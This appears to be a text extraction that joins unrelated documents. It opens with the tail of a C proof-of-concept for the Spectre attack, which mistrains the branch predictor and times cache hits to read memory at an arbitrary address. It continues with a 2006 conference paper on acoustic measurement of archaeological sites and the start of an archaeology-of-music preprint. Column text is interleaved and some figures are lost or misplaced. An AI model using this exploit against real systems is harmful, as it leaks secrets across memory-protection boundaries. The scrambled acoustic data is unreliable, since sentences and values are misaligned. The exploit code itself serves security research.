28 } 29 30 31 /******************************************************************** 32 Analysis code 33 ********************************************************************/ 34 #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */ 35 36 /* Report best guess in value[0] and runner-up in value[1] */ 37 void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) { 38 static int results[256]; 39 int tries, i, j, k, mix_i, junk = 0; 40 size_t training_x, x; 41 register uint64_t time1, time2; 42 volatile uint8_t *addr; 43 44 for (i = 0; i < 256; i++) 45 results[i] = 0; 46 for (tries = 999; tries > 0; tries--) { 47 48 /* Flush array2[256*(0..255)] from cache */ 49 for (i = 0; i < 256; i++) 50 _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */ 51 52 /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */ 53 training_x = tries % array1_size; 54 for (j = 29; j >= 0; j--) { 55 _mm_clflush(&array1_size); 56 for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */ 57 58 /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ 59 /* Avoid jumps in case those tip off the branch predictor */ 60 x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */ 61 x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */ 62 x = training_x ^ (x & (malicious_x ^ training_x)); 63 64 /* Call the victim! */ 65 victim_function(x); 15 66 } 67 68 /* Time reads. Order is lightly mixed up to prevent stride prediction */ 69 for (i = 0; i < 256; i++) { 70 mix_i = ((i * 167) + 13) & 255; 71 addr = &array2[mix_i * 512]; 72 time1 = __rdtscp(&junk); /* READ TIMER */ 73 junk = *addr; /* MEMORY ACCESS TO TIME */ 74 time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ 75 if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) 76 results[mix_i]++; /* cache hit - add +1 to score for this value */ 77 } 78 79 /* Locate highest & second-highest results results tallies in j/k */ 80 j = k = -1; 81 for (i = 0; i < 256; i++) { 82 if (j < 0 || results[i] >= results[j]) { 83 k = j; 84 j = i; 85 } else if (k < 0 || results[i] >= results[k]) { 86 k = i; 87 } 88 } 89 if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) 90 break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */ 91 } 92 results[0] ^= junk; /* use junk so code above won’t get optimized out*/ 93 value[0] = (uint8_t)j; 94 score[0] = results[j]; 95 value[1] = (uint8_t)k; 96 score[1] = results[k]; 97 } 98 99 int main(int argc, const char **argv) { 100 size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */ 101 int i, score[2], len=40; 102 uint8_t value[2]; 103 104 for (i = 0; i < sizeof(array2); i++) 105 array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ 106 if (argc == 3) { 107 sscanf(argv[1], "%p", (void**)(&malicious_x)); 108 malicious_x -= (size_t)array1; /* Convert input value into a pointer */ 109 sscanf(argv[2], "%d", &len); 110 } 111 112 printf("Reading %d bytes:\n", len); 113 while (--len >= 0) { 114 printf("Reading at malicious_x = %p... ", (void*)malicious_x); 115 readMemoryByte(malicious_x++, value, score); 116 printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear")); 117 printf("0x%02X=’%c’ score=%d ", value[0], 118 (value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]); 119 if (score[1] > 0) 120 printf("(second best: 0x%02X score=%d)", value[1], score[1]); 121 printf("\n"); 122 } 123 return (0); 124 } Listing 4: A demonstration reading memory using a Spectre attack on x86. 16 Proc. of the 9th Int. Conference on Digital Audio Effects (DAFx-06), Montreal, Canada, September 18-20, 2006 ARCHAEOLOGICAL ACOUSTIC SPACE MEASUREMENT FOR CONVOLUTION REVERBERATION AND AURALIZATION APPLICATIONS Damian T. Murphy Intelligent Systems — Audio Lab, Department of Electronics University of York, Heslington, York, YO10 5DD, UK dtm3@ohm.york.ac.uk ABSTRACT interpretation of important historical buildings or heritage sites. Developments in measuring the acoustic characteristics of con- For the researcher such analysis may help to give further insight cert halls and opera houses are leading to standardized methods to the purpose of a site, its use or construction. The ability to of impulse response capture for a wide variety of auralization ap- audition and experience these sites via auralization will also help plications. This work presents results from a recent UK survey of in the development of more rewarding and informative visitor in- non-traditional performance venues focused in the field of acous- teractives. This paper is organized as follows. In Section 2 the tic archaeology. Sites are selected and analyzed based on some measurement techniques used for this study based on current best feature of interest in terms of their acoustic properties. As well as practice are defined, including surround-sound decoding and ren- providing some insight as to the characteristics and construction dering options. Section 3 examines each of the four sites in turn of these spaces, the resulting database of measurements has a pri- and considers their relative acoustic characteristics, highlighting mary use in convolution based reverberation and auralization. A pertinent features appropriate for the interested convolution reverb recent sound installation based on one of the selected sites is also user. Section 4 discuses how these techniques have been used to presented. realize an audio-visual installation artwork and this paper is con- cluded with a summary of the work to date, and an indication of future directions for this measurement and research programme. 1. INTRODUCTION Convolution based reverberation and auralization for audio post- 2. RIR MEASUREMENT SYSTEM production and computer music applications require a large, high quality database of Room Impulse Responses (RIRs). The static 2.1. RIR Measurement Guidelines nature of RIR based reverb/auralization does not lend itself to real- time editing of the virtual environment in the same manner as There exist a number of prior studies that have explored meth- more established IIR filter/circulant-network based implementa- ods for room acoustics measurement and impulse response cap- tions. Hence, a larger database of virtual spaces is required to ture. The CIARM group have written guidelines for measuring attempt to cater for every creative possibility. These RIRs must the acoustic characteristics of historical opera houses [3], using therefore be obtained through a process of either recording/mea- ISO3382 [4] as a reference. Recommendations include the use of surement or modeling. Current research in capturing the acoustic omnidirectional sources exhibiting a wide, flat frequency response, characteristics of concert halls and opera houses is leading to stan- with measurements recorded monaurally, binaurally and/or in B- dardized methods for carrying out high quality RIR measurements format. The latter two approaches facilitate spatial analysis of the that are compatible with many different spatial audio auralization measured impulse responses. B-format recordings generally em- and rendering systems. ploy the use of the Soundfield Microphone, the output of which is This paper presents results from a study of four selected ar- four coincident signals corresponding to an omnidirectional sound chaeological sites in the UK, each demonstrating some feature of pressure signal, W, and three figure-of-8 velocity responses, X, Y, interest in terms of their acoustic characteristics. These sites do and Z, directed as forwards-backwards, left-right and up-down re- not necessarily come under the focus of current acoustic survey spectively. With such a B-format measurement the W-component and measurement work in traditional music performance venues, can be used for evaluating monaural acoustic parameters, and the but rather achieve their reputation and interest for other notable additional directional signals to used evaluate spatial characteris- reasons. tics. The B-format signals can also be decoded for a wide variety The aim of this work therefore lies in a number of different of multi-channel surround-sound systems. areas. The primary aim is to expand the range of current acous- These guidelines have been developed and refined in more re- tic measurement surveys to provide an increased palette of virtual cent acoustic measurement work [2] especially that of Farina et spaces, particularly for practitioners in the fields of audio post pro- al. [1], [5]. Two sound sources are also used, the first a small duction and sound design/composition. In a recent survey of con- dodecahedral omnidirectional transducer, combined with a sub- cert halls and opera houses the importance of capturing the unique woofer, equalized to give a flat response between 80 Hz and 16 sound of these spaces and preserving them for posterity is high- kHz. The second is a Genelec S30D, a three-way active multi- lighted as another valuable aim [1]. A similar study uses the acous- amped loudspeaker with AES/EBU digital input. Although it ex- tics of early music spaces to inform the design of modern concert hibits a more directional characteristic than the omni/subwoofer halls [2]. This work also leads to the possibility of using archae- combination, its frequency response extends from 37 Hz to greater ological/architectural acoustic analysis and spatial sound for the than 20 kHz with only ±3 dB variation. The directivity pattern is DAFX-221 Proc. of the 9th Int. Conference on Digital Audio Effects (DAFx-06), Montreal, Canada, September 18-20, 2006 also more consistent across this frequency range than the omni/sub 2.3.1. Stereo combination, and avoids the associated errors present at higher frequencies due to the spacing and arrangement of the individual ORTF stereo presentation for a source at angle ✓ is possible by se- drivers. The microphones used comprise an ORTF cardioid pair, lecting RIR pairs at ✓ ± 55 . The measurement method employed a binaural dummy head and a Soundfield ST-250 all arranged on in this study enables ORTF stereo auralization via only one direc- an automated rotating turntable. The dummy head and the point tional microphone rather than the two used in [1]. of intersection of the ORTF pair are arranged at the centre of the turntable’s axis of rotation. 2.3.2. Ambisonic Decoding It is possible to facilitate 2-D or 3-D first-order Ambisonic surround- 2.2. Transducers, Signal Generation and Capture sound decoding for a mono source to a regularly arranged speaker system of diametrically opposing pairs using the Soundfield B- format RIR channels. W, X, Y give 2-D horizontal decoding with W, X, Y, Z used for full 3-D surround-sound. 2.3.3. B-format derived 5.1 Surround The B-format responses can also be used to derive discrete 5.1 surround-sound via virtual microphone array modeling. A number of possible microphone arrays have been suggested for recording in ITU 5.1 surround-sound, using combinations of spaced direc- tional (usually cardioid) microphones. It is possible to process and combine the measured B-format RIRs at a specific angle ✓ to gen- erate any first-order microphone directivity pattern according to (1) and (2) as presented in, for example [8]: 1 V (↵,) = [(2 d) · W + d · (r · X + r · Y + r · Z)] x y z 2 (1) Figure 1: Measurement microphones mounted on a turntable and where: 8 S30D sound source transducer. < r = cos(↵) cos() x r = sin(↵) cos() (2) y The main aim this project is for multi-speaker RIR auralization : r = sin() z of the studied spaces. Hence, the need for binaural measurement V (↵,) is the virtual microphone response, pointing in the direc- is not of paramount importance although if required at a later stage tion of ↵, with elevation , relative to angle ✓ around the central it is possible to derive a binaural representation from a B-format axis of measurement. W, X, Y, Z are the B-format RIRs in this signal. The chosen microphone combination is both a refinement case, and 0  d  2 is the directivity factor where for instance and simplification of that used in [1] and is shown in Fig. 1. A d = 0 results in an omnidirectional response, d = 1 is a cardioid 4-channel Soundfield SPS422B is positioned on a boom arm, 1m response and d = 2 is a figure-of-8 pattern. Using this method, from the centre axis of an automated rotating turntable. A single virtual microphone responses at specific angular positions can be Neumann KM140 cardioid microphone is situated with the capsule generated. These can then be used to simulate the equivalent dis- end 10.4 cm from the centre axis, essentially one half of an ORTF crete 5.1 spaced microphone array recording of a mono source inpair spaced 17 cm apart at an angle of 110 . Both microphones are the measured space, offering an alternative auralization method to set at a height of 1.5 m. A 15 s 22 22000 Hz logarithmic sine standard first order Ambisonic decoding. sweep is used as the excitation signal via a Genelec S30D. This excitation-deconvolution technique has been shown to give better results than previously used methods in terms of signal-to-noise 2.3.4. High Order Spatial Decoding ratio, minimisation of harmonic distortion and not having to rely Note also that other decoding schemes are also possible with addi- on repeated measurements and averaging for best results [6]. The tional post-processing, including higher order Ambisonic B-format rotating turntable is triggered automatically after each excitation according to Poletti’s high directivity virtual microphones [9], Wave-sweep and measurements are made at 5 intervals over a complete field Synthesis [10], Spatial Impulse Response Rendering [11], as 360 revolution. Typically, a single set of 72 measurements takes well as other hybrid approaches [8]. between 25–50 minutes depending on the reverberation time of the space being studied. Post-processing, deconvolution and objective parameter extraction from the resulting RIRs is carried out using 3. MEASUREMENT SITES Adobe Audition and the Aurora Plug-In Suite [7]. 3.1. Acoustic Parameters 2.3. Decoding and Auralization With a large database of RIRs available it becomes relatively straight- forward to extract and analyze objective acoustic parameters to The 1 monaural + 4 B-format channels of RIR information can be help quantify the characteristics of the measured spaces. The first combined for a wide variety of surround-sound rendering via an parameter considered is ISO3382 T30 relating to the standard in- appropriate multi-channel audio convolution engine. Those most terpretation of Reverberation Time in octave bands and this is cal- appropriate for this work are summarized as follows. culated and averaged from W-channel RIRs for angles 0 , 90 , DAFX-222 Proc. of the 9th Int. Conference on Digital Audio Effects (DAFx-06), Montreal, Canada, September 18-20, 2006 180 and 270 . The second parameter relates to the Spatial Im- Fig. 2 presents ISO3382 T30 values, calculated and averaged for pression of the space and there are a number of objective spatial the W-channel RIRs over angles 0 , 90 , 180 and 270 . The measures that may be used to help characterize a space in terms source was located at the altar steps in the chancel, with the micro- of the perception of music heard within its walls, particularly with phone assembly placed in the nave giving a source-receiver dis- respect to how sound envelopes and surrounds a listener. Inter tance of 11.5 m. Aural Cross Correlation (IACC) is often used for binaural sound [12] and ISO3382 defines Lateral Fraction, LF [4]. LF can be de- 2.4 rived from the W and Y channels of the B-format response, and 2.2 [1] further defines a modified polar plot for the quantity ‘1-LF’ 2.0 1.8 which shows the angular variation of LF (strictly 1-LF) as it varies 1.6 with the locus of movement of the Soundfield Microphone in this 1.4 particular measurement arrangement. The results are directly com- 1.2 parable with standard IACC if it similarly varies with angle, and 1.00.8 can be used to give a measure of the diffusivity of the space with 0.6 high values for 1-LF (hence low values of LF) indicating a highly 0.4 diffuse soundfield. 0.2 31.5 63 125 250 500 1k 2k 4k 8k 16k Octave Frequency Band (Hz) 3.2. St. Andrew’s Church, Lyddington Figure 2: IS03382 T30 value for St Andrew’s Church W-channel St Andrew’s Church, built in the 14th Century, has one of the RIR averaged over four measurement angles. finest examples of in-situ acoustic jars (vases or pots) in the UK. These jars were common to European church construction in the Considering the 1 kHz T30 value of 1.5 s as a measure of late Middle Ages and are said to be based on the ideas of Roman reverberation time perception note the significant bass rise in the architect Vitruvius, who discussed the use of resonant jars in the two lowest octave bands, potentially helping to support the bass design of amphitheatres to provide clarity of voice presentation end of musical material presented in the space and together with [13]. They are designed as Helmholtz resonators, giving narrow the gradual roll off in the high end giving a sense of perceived band energy absorption according to the natural frequency of the warmth. The dip in the lower mid-range will help with clarity of jar although there is little conclusive acoustical evidence to show speech and single note melody lines. that they behave as designed. Studies suggest that the success or otherwise of these devices depends on the number of jars used and their placement, as well as the characteristics of the building and 3.2.2. Spatial Impression, 1-LF jars themselves. A ratio of one jar to 3120 m is hypothesized as be- Fig. 2 shows the polar plot for 1-LF calculated from the W and Y ing a good example for success [14]. In anechoic and reverberant B-format responses at 10 increments, for a source placed at 0 . chambers the absorption effects of such jars are weak and highly This result would indicate a reasonably diffuse space. Note that the selective, although can be significant below 200 Hz. Together with 1-LF value is greatest directly to the front and rear demonstrating their additional diffusive effects, the jars potentially help to elim- the coupled reverberant nature of the small chancel and the much inate strong normal modes and hence can be made effective with larger nave, with most of the diffuse energy in the space arriving careful tuning and positioning [15]. at the receiver from the rear (nave). St Andrew’s Church presents a good example for study with 11 jars placed high in the chancel, 6 in the north wall and 5 in the 90 south, arranged at irregular intervals such that there are no directly 120 60 opposite pairs. Although the total volume of the church (chancel 1 + nave + aisles) is of the order of 32600 m , the chancel has a vol- 3 0.875ume of only 700 m giving a (Jar:Volume) ratio of m3, well 150 3063 within the ratio suggested in [14]. A detailed consideration of the 0.75 jars present on this site as presented in [16] reveals they are clearly 0.625 non-optimal in their construction, exhibiting weak Helmholtz res- 0.5180 0 onance effects with any absorption that might be demonstrable lo- cally not evident in more general source/receiver positions. There are also strong axial modes evident in the chancel space where the jars are situated, with the critical frequency of this part of the 210 330 building being approximately 170 Hz. The natural jar resonances are between 350–470 Hz and are therefore beyond this region of 240 300 modal dominance where they might have helped to absorb prob- 270 lematic axial modes between north and south walls as their place- Figure 3: (1-LF) polar plots for a source at 0 . ment possibly indicates. 3.2.1. Reverberation Time, T30 3.3. Hamilton Mausoleum, Hamilton St. Andrew’s is considered as having a “good” acoustic and is Construction on the Hamilton Mausoleum, Hamilton, Scotland, widely used by musicians and ensembles as a performance venue. built for the 10th Duke of Hamilton, started in 1842 and lasted DAFX-223 T30(s) Proc. of the 9th Int. Conference on Digital Audio Effects (DAFx-06), Montreal, Canada, September 18-20, 2006 until 1858. It is constructed of marble and sandstone and is sur- 90 mounted by a dome 36m in height, with two main spaces, a crypt 120 60 in the lower section, and a chapel that was supposed to be used 1 for worship. However the construction materials, size, shape and 150 0.875 30 dimensions of the latter result in a complex, dense and very long 0.75 reverberation, and hence render it almost useless for speech pre- 0.625 sentation. In fact the Guinness Book of World Records claims that 0.5 the Hamilton Mausoleum has the longest “echo” of any building 180 0 [17], recorded on 27 May 1994 as taking 15 s for the sound of the reverberation caused by slamming one of the main doors to die away to nothing. The space is now often used by recording musi- 210 330 cians for its unique acoustic properties. The interior of Hamilton Mausoleum is approximately octagonal in plan, with a diameter of 18 m. Each side of the octagon is either a plane wall or a further 240 300 semicircular alcove. The results presented below having the mi- 270 crophone assembly in the centre and the source placed to one side, Figure 5: (1-LF) polar plots for a source at 0 . just outside one of the alcoves, giving a source-receiver distance of 4.8 m. closed path due to the symmetrical nature of the construction. Po- tentially this could result in stronger lateral reflections incident on 3.3.1. Reverberation Time, T30 the Soundfield Microphone, hence a reduction in overall diffusion ISO3382 T30 is calculated and averaged for the W-channel RIRs for these regions. Note that relatively the drop in 1-LF is small over angles 0 , 90 , 180 and 270 as shown in Fig. 4. and the effect is not completely symmetrical as the wall section at 240 has a large rectangular marble sarcophagus placed in front of it. 25 3.4. Maes Howe, Orkney 20 Maes-Howe, Orkney, is one of the finest chambered cairns in Eu- 15 rope, dated to 3000BC. Prior work in the acoustics of ancient sites explores how the resonances exhibited therein might have affected 10 regular human ritual and interaction with the space. For instance [18] presents results from six such sites, revealing strong stand- 5 ing wave patterns between 95–120 Hz with minimal azimuthal or vertical variation. It is hypothesized that as these resonances are 31.5 63 125 250 500 1k 2k 4k 8k 16k Octave Frequency Band (Hz) within the lower male vocal range, they may have been used in rit- ual to accentuate aspects of the voice. Unlike many similar ancient Figure 4: ISO3382 T30 values for Hamilton Mausoleum W- structures that have been studied to date, Maes Howe lends itself channel RIR averaged over four measurement angles. to the presence of strong modal frequencies. It is almost cubic in shape, of dimension 4.6 m, with walls made from large, flat slabs The T30 values evident in Fig. 4 are clearly very dramatic, of stone, resulting in smooth reflecting surfaces rather than more in excess of 20 s in the lower octave bands, falling almost lin- commonly found irregular placement of smaller stones. early to 0.6 s at 16 kHz. Subjective listening confirms this, with the low frequency components for both the RIR in isolation and 3.4.1. Reverberation Time, T30 RIR/convolved audio lasting for some considerable time. Calcu- lating T30 across the whole spectrum of the RIRs, rather than in ISO3382 T30 is calculated and averaged for the W-channel RIRs octave bands gives a value of as before, with the source located at the mid-point of the centre15.0s — exactly that of the previ- ously recorded “echo” duration. However, averaging over octave wall, and the microphone assembly in the centre of the space giv- bands gives a value of s, and the kHz T30 value is s, ing a source-receiver distance of 2 m. The results are shown in11.2 1 9.32 and these quantities perhaps give a more realistic measure of the Fig. 6. perceived reverberation time. Note the rise in T30 for the 63 Hz and 125 Hz bands. Calcu-lating T30 across the whole spectrum, rather than in octave bands gives a value of 0.55s. Averaging over octave bands T30 = 0.57 3.3.2. Spatial Impression, 1-LF s, and at 1 kHz T30 = 0.51 s. The rise to almost 0.9 s at 125 Hz is therefore significant and is due to the low frequency modal Fig. 5 shows the polar plot for 1-LF calculated from the W and Y response, with strong peaks evident at 45, 90, 110, 120, 130 and B-format responses at 10 increments, for a source placed at 0 . 145 Hz [16]. Note that there is a slight reduction in 1-LF at 140 and 240 . This is due to two of the four flat wall sections of the Mausoleum’s 3.4.2. Spatial Impression, 1-LF octagonal boundary, behind the microphone assembly when it is oriented at 0 . These hard flat surfaces act to generate strong Fig. 7 shows the polar plot for 1-LF calculated from the W and Y specular reflections towards the centre of the space possibly over a B-format responses at 10 increments, for a source placed at 0 . DAFX-224 T30(s) Proc. of the 9th Int. Conference on Digital Audio Effects (DAFx-06), Montreal, Canada, September 18-20, 2006 1.0 8 7 0.8 6 0.6 5 4 0.4 3 2 0.2 1 31.5 63 125 250 500 1k 2k 4k 8k 16k 31.5 63 125 250 500 1k 2k 4k 8k 16k Octave Frequency Band (Hz) Octave Frequency Band (Hz) Figure 6: ISO3382 T30 values for W-channel RIR averaged over Figure 8: ISO3382 T30 values for W-channel RIR averaged over four measurement angles. four measurement angles. 90 120 60 Note that the peak T30 value is 7.25 s in the 250 Hz band. 1 Calculating T30 across the whole spectrum of the RIRs, rather than in octave bands gives a value of 6.4 s. Averaging over octave bands 150 0.875 30 gives a value of 5.1 s, and the 1 kHz T30 value is 6.1 s. 0.75 0.625 0.5 3.5.2. Spatial Impression, 1-LF 180 0 Fig. 9 shows the polar plot for 1-LF calculated from the W and Y B-format responses at 10 increments, for a source placed at 0 . 210 330 90 120 60 240 300 1 270 150 0.875 30Figure 7: (1-LF) polar plots for a source at 0 . 0.75 0.625 0.5 These results indicate that this is a much less diffuse space 180 0 compared with the other examples presented, and is to be expected given the small size and regular geometry of the chamber. There is also a general irregularity for 1-LF — the plot is less smooth 210 330 as it varies with angle — due to dominant early reflections/direct sound present in this small space compared with late reverberation, reducing relative diffusivity according to angle of incidence at the 240 300 receiver. 270 Figure 9: (1-LF) polar plots for a source at 0 . 3.5. York Minster, York York Minster is the largest medieval gothic cathedral in the UK York Minster is the largest of the presented spaces, with the and one of the finest in Europe, built between the 12th and 15th greatest source-receiver distance (although still typical for music centuries on the foundations of the previous Norman church that performances held here), and its construction and size result in was in turn constructed on the foundations of the original Roman long T30 values across octave bands. Hence, from Fig. 9 it is not fortress. It is approximately m long, m wide and m high surprising that the Minster demonstrates the highest level of dif-160 76 27 to the vaulted ceiling, constructed predominantly of stone with ex- fusivity of all these results, being almost independent of direction, tensive, large panels of stained glass windows. Its beautiful acous- and hence demonstrating a high level of perceived spatial envelop- tic and setting make it a sought after and highly popular music ment. performance venue. 4. A SENSE OF PLACE 3.5.1. Reverberation Time, T30 A Sense of Place is an interactive sound/light installation commis- ISO3382 T30 is calculated and averaged for the W-channel RIRs sioned by the York Renaissance Project [19]. The artwork focuses as before, with the source located directly under the centre tower, on three specific aspects of York’s 2000 year history interpreted us- and the microphone assembly in the central nave area giving a ing sound and light. The foundation of the piece is the Minster and source-receiver distance of 23.5 m. The results are shown in Fig. what it has represented to York since the site was first used by the 8. Romans. This has been realized using the Minster RIRs to render a DAFX-225 T30(s) T30(s) Proc. of the 9th Int. Conference on Digital Audio Effects (DAFx-06), Montreal, Canada, September 18-20, 2006 virtual acoustic representation of this complex, diffuse reverberant in Int. Symp. Room Acoustics: Design and Science, Kyoto, space. The work is presented in one of the gatehouses on the city Japan, Apr 11-13 2004, [Online] http://pcfarina.eng.unipr.it/ walls (Bootham Bar) transforming it from a small, enclosed space Public/Papers/190-RADS2004.pdf. into a larger and more dramatic sounding virtual acoustic repre- [6] A. Farina, “Simultaneous measurement of impulse response sentation of the Minster. Further details about the project can be and distortion with a swept sine technique,” in 108th Conv. found at the accompanying online web resource [20]. Audio Eng. Soc., Paris, France, Feb. 18-22 2000, preprint No. 5093. 5. CONCLUSIONS [7] Aurora, “Plug-ins Home Page v4.0,” Retrieved June 29th, 2006, [Online] http://pcfarina.eng.unipr.it/aurora/home.htm. This paper has demonstrated how developments in room acous- tics measurement for auralization can be applied to the field of [8] A. Farina, R. Glasgal, E. Armelloni, and A. Torger, “Am- acoustic archaeology. RIR analysis can provide an insight to the biophonic principles for the recording and reproduction of characteristics and construction of these spaces, and the resulting surround sound for music,” in Proc. AES 19th Int. Conf. database of measurements has a primary use in convolution based on Surround Sound, Techniques, Technology and Perception, reverberation/auralization. The spaces examined all demonstrate Schloss Elmau, Germany, June 21-24 2001, pp. 26–46. some specific interest in their acoustics or construction. With the [9] M. A. Poletti, “A unified theory of horizontal holographic exception of the highly modal acoustics of Maes Howe, the sites sound systems,” J. Audio Eng. Soc., vol. 48, no. 12, pp. 1155– demonstrate long T30 values and highly diffuse soundfields pos- 1182, 2000. sibly limiting musical application of these RIRs to specific genres [10] E. Hulsebos, D. de Vries, and E. Bourdillat, “Improved mi- or post-production situations. Therefore it is important to con- crophone array configurations for auralization of sound fields tinue to develop this RIR database, surveying a wider range of by Wave-Field Synthesis,” J. Audio Eng. Soc., vol. 50, no. 10, sites and extending the areas where these RIRs might be creatively pp. 779–790, 2002. applied. Selected RIRs will be available to the audio/computer music community as part of the UK Spatial Audio Creative Engi- [11] J. Merimaa and V. Pulkki, “Spatial impulse response render- neering research network (SpACE-Net) website [21] and will go ing 1: Analysis and synthesis,” J. Audio Eng. Soc., vol. 53, live in September 2006. no. 12, Dec. 2005. [12] Y. Ando, Concert hall acoustics. Berlin: Springer Series in 6. ACKNOWLEDGEMENTS Electrophysics, 1985. [13] I. Rowland and E. Howe, T. N., Vitruvius: Ten Books on Ar- This work was by the Arts & Humanities Research Council/Arts chitecture. Cambridge: Cambridge University Press, 1999. Council England, award AN8885/APN16671 and the York Re- [14] V. Desarnaulds, Y. Loerincik, and A. Carvalho, “Effi- naissance Project. Recognition also goes to the collaborators in ciency of 13th Century acoustic ceramic pots in two Swiss this work: Helen Dorward for her valuable field work; John Oxley, churches,” in Noise-Con, Oct 29-31 2001, [Online] http: City of York Archaeologist; Mark Hildred of Immersive Media //paginas.fe.up.pt/~carvalho/nc01.pdf. Spaces Ltd. Thanks are extended to the custodians of these sites: [15] A. Carvalho, V. Desarnaulds, and Y. Loerincik, “Acous- the Reverend Jane Baxter, the wardens, and Parochial Church Coun- tic behavior of ceramic posts used in middle age worship cil at the Benefice of Lyddington, St Andrew; Gillian Urquhart and spaces, a laboratory analysis,” in 9th Int. Congress Sound Alan Jones at Historic Scotland (Maes Howe); Linda Barrett and and Vibration, Jul 8-11 2002, [Online] http://paginas.fe.up. staff at Low Parks Museum, Hamilton (Hamilton Mausoleum); pt/~carvalho/icsv9.pdf. Dean and Chapter of York Minster and the on-site Minster Police. [16] D. T. Murphy, “Multi-channel impulse response measure- ment, analysis and rendering in archaeological acoustics,” in 7. REFERENCES 119th Conv. Audio Eng. Soc., New York, USA, 2005, paper No. 6532. [1] A. Farina and R. Ayalon, “Recording concert hall acous- tics for posterity,” in Proc. AES 24th Int. Conf. on Multi- [17] Guinness World Records, “Longest lasting echo,” 2004, channel Audio, Banff, Canada, June 26-28 2003, [Online] 2005, [Online] http://www.guinnessworldrecords.com/ http://pcfarina.eng.unipr.it/Public/Papers/185-AES24.PDF. content_pages/record.asp?recordid=47025&Reg=1. [2] A. Bassuet, “Acoustics of early music spaces from the 11th [18] R. G. Jahn, P. Devereux, and M. Ibison, “Acoustical reso- to 18th century (abstract),” J. Acoust. Soc. Am., vol. 115, no. nances of assorted ancient structures,” J. Acoust. Soc. Am., 5, pt 2, p. 2582, May 2004. vol. 99, no. 2, pp. 649–658, 1996. [3] R. Pompoli and N. Prodi, “Guidelines for acoustical mea- [19] Renaissance, “The York Renaissance Project,” Retrieved surements inside historical opera houses: Procedures and June 29th, 2006, [Online] http://www.renaissanceyork.org. validation,” Retrieved June 29th, 2006, [Online] http:// uk/. acustica.ing.unife.it/ciarm/download.htm. [20] D. Murphy, J. Oxley, and M. Hildred, “A Sense of Place,” Retrieved June 29th, 2006, [Online] http://www.boothambar. [4] ISO3382, “Acoustics – measurement of reverberation time of org.uk/. rooms with reference to other acoustical parameters,” ISO, Tech. Rep., 1997. [21] SpACE-Net, “The spatial audio creative engineering network – SpACE-Net,” Retrieved June 29th, 2006, [Online] http:// [5] A. Farina and L. Tronchin, “Advanced techniques for mea- www.space-net.org.uk/. suring and reproducing spatial sound properties of auditoria,” DAFX-226 Musical behaviours and the archaeological record: a preliminary study Ian Cross University of Cambridge Faculty of Music Ezra Zubrow University of Cambridge, Department of Archaeology/SUNY Buffalo Frank Cowan Cincinnati Museum Center (preprint of paper published as Cross, I., Zubrow, E. and Cowan, F. (2002) Musical behaviours and the archaeological record: a preliminary study. In J. Mathieu (Ed.), Experimental Archaeology. British Archaeological Reports International Series 1035, 25-34.) The research presented in this paper is funded by a British Academy Small Grant (SG-30046) to Ian Cross and was conducted by in collaboration with Professor Ezra Zubrow of the State University of New York at Buffalo and the Department of Archaeology, University of Cambridge and Dr Frank Cowan of the Cincinnati Museum Center Introduction The research discussed here has three different points of origin: the relation between music and human evolution, specifically, human cognitive evolution; the nature of the evidence for musical behaviours in the archaeological record; and the issue of making musical sounds with stones. One might suppose that music, as a cultural phenomenon, has little to do with evolution. But, from a cognitive-scientific perspective, music is inescapably material, being evidenced in musical behaviours; behind human behaviours lie human minds, and behind human minds lie embodied human brains. Accepting a materialist basis for human behaviours, consideration of evolution's role in those behaviours seems inescapable. Taking an evolutionary approach to human behaviours does not necessitate adoption of a gene- centred ontological reductionism; indeed, it may be that evolutionary perspectives afford excellent frameworks within which an understanding of music as individual minded behaviour - material practice - can be reconciled with an understanding of music as embedded in a nexus of shared ways of understanding - music as culture. The existence of an evolutionary basis for music is unlikely to be explanatory of most of the attributes, significances, purposes and interpretations that can be borne by the music of any particular culture. But it can provide some hypotheses about the dynamics of cognition and interaction that may underlie those attributes, significances, etc. And some recently developed hypotheses about the relation between music and evolution (see Cross, 1999: Brown, 2000: Dissanayake, 2000) constitute the broad context for the present research - specifically, that the emergence of 'musicality' played a significant role in the evolution of modern humans, Homo sapiens sapiens. Turning to the nature of the evidence for musical behaviours in the archaeological record, we run into several problems. What traces would musical behaviours leave? Given that the earliest such behaviours were likely to have been vocal, we are left with trying to make inferences about whether or not any of our predecessors or sibling species had the vocal capacity to articulate the complex timbral and pitch patterns that music requires on the basis of fragmentary human and pre-human remains, and several equally plausible theories appear to lead to different conclusions (see Lieberman, 1991; Frayer & Nicolay, 2000). In any case, all that such research can tell us is whether or not our ancestors had the capacity to produce 'musical' sounds - it can't tell us whether they produced music. Artefacts provide clearer evidence - one might suppose. But there is controversy over just what the earliest musical artefact might be. On one reading, the earliest artefact is an unambiguously musical bone pipe from Geissenklösterle in Germany, dated to about 36,000 BP and associated with modern humans (see Hahn & Münzel, 1995); on another reading, the earliest evidence is a fragment of a bone pipe from Divje babe in Slovenia, dated to around 45,000 BP and associated with Homo neanderthalensis (Kunej & Turk, 2000) - though, alternatively, this 'bone pipe' might have been a hyena's lunch (D'Errico & Villa, 1997). One of the aims of the current research is to attempt to work out ways of identifying whether or not an artefact has been purposively produced by human activity and has been unambiguously employed to make sounds. And finally, we turn to making musical sounds with stones. It seems that most human cultures either do this or have done this; evidence for the use of lithophones - lithic idiophones - stretches from Sweden to southern Africa, from the Canaries through Kenya through Vietnam through China to Potosí in the Bolivian Andes (see the entry for 'Lithophones' in The New Grove Dictionary, 2000). It even crops up in Victorian England, where the brothers Richardson performed on their specially constructed 'geological piano' before Queen Victoria (her response is not recorded). The possibility that our ancestors might have exploited the materials and technologies that they knew best - flint, and the processes of working flint to produce artefacts - for sound- production 